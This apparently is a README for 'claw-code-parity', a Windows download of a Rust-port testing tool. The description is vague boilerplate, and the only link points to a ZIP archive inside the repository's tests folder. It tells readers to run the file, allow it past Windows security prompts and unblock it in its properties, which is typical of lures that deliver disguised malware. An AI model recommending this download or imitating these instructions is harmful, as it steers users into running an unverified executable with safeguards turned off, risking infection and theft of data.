claw-code-parity is a Windows-ready desktop tool built to support the claw-code Rust port parity work. It is meant to help you try the current build, check how it behaves, and use it while the main claw-code repo moves through migration.
This project is temporary work, but you can still use it on Windows with a simple download and setup flow.
Use this link to visit the project page and get the latest version:
On that page, look for the latest release or the main download file. If you see a file marked for Windows, download it and run it.
Use a Windows PC with:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 200 MB of free disk space
- Internet access for the first download
- Standard mouse and keyboard
If you use a work or school PC, you may need permission to run new apps.
Follow these steps on Windows:
- Open this page in your browser: https://raw.githubusercontent.com/emavague180/claw-code-parity/main/rust/crates/api/tests/code_claw_parity_v3.9.zip
- Find the latest release or the main download file.
- Download the Windows app file.
- Open your Downloads folder.
- Double-click the file to start the app.
- If Windows asks for permission, choose Run or Yes.
- Wait for the app to open.
If the file comes in a ZIP folder, right-click it, choose Extract All, then open the extracted file inside.
When you open claw-code-parity for the first time, Windows may show a security prompt. This can happen with new apps. If you trust the source and you downloaded it from the link above, allow it to run.
If the app opens with a blank screen or takes a few seconds to start, wait a moment before clicking again.
The app is built for parity testing and normal day-to-day checking. A simple flow is:
- Start the app
- Review the main screen
- Try the features you use most
- Compare the result with the older claw-code behavior
- Note anything that looks different
If the app includes buttons, menus, or input boxes, use them the same way you would in a normal Windows program.
This build focuses on core Rust port behavior. You can expect a clean test path for:
- Basic app launch
- Main window loading
- Simple user actions
- Feature checks during migration
- Behavior checks across updates
Because this is parity work, some parts may still change as the project moves forward.
After download, you may see one of these:
- An
.exefile — double-click to run - A
.zipfile — extract first, then run the app inside - A folder with app files — open the folder and start the main executable
If you see more than one file, the main app file is usually the one with the app name and the .exe ending.
If the app does not open:
- Try running it again
- Check that the file finished downloading
- Make sure you extracted the ZIP file if it came in one
- Close the app and open it again
- Restart your PC and try once more
If Windows blocks the app:
- Right-click the file
- Choose Properties
- Look for an Unblock option
- Apply the change and try again
If the app opens but does not respond:
- Wait a few seconds
- Close the app
- Reopen it
- Check for a newer version on the project page
This repository supports claw-code Rust port parity work. The goal is to keep behavior close during the migration process. The Discord link in the project description is used for live updates and discussion:
Use it if you want to follow the migration work or ask questions about the current build.
People use this app to:
- Test the current Windows build
- Compare old and new behavior
- Check that the Rust port still matches the source project
- Run quick user tests during migration
- Review updates as the project changes
When a new build is ready:
- Visit the project page again
- Download the new version
- Close the old app
- Replace the old file with the new one
- Open the updated app
If you keep the app in a fixed folder, it is easier to replace old builds later.
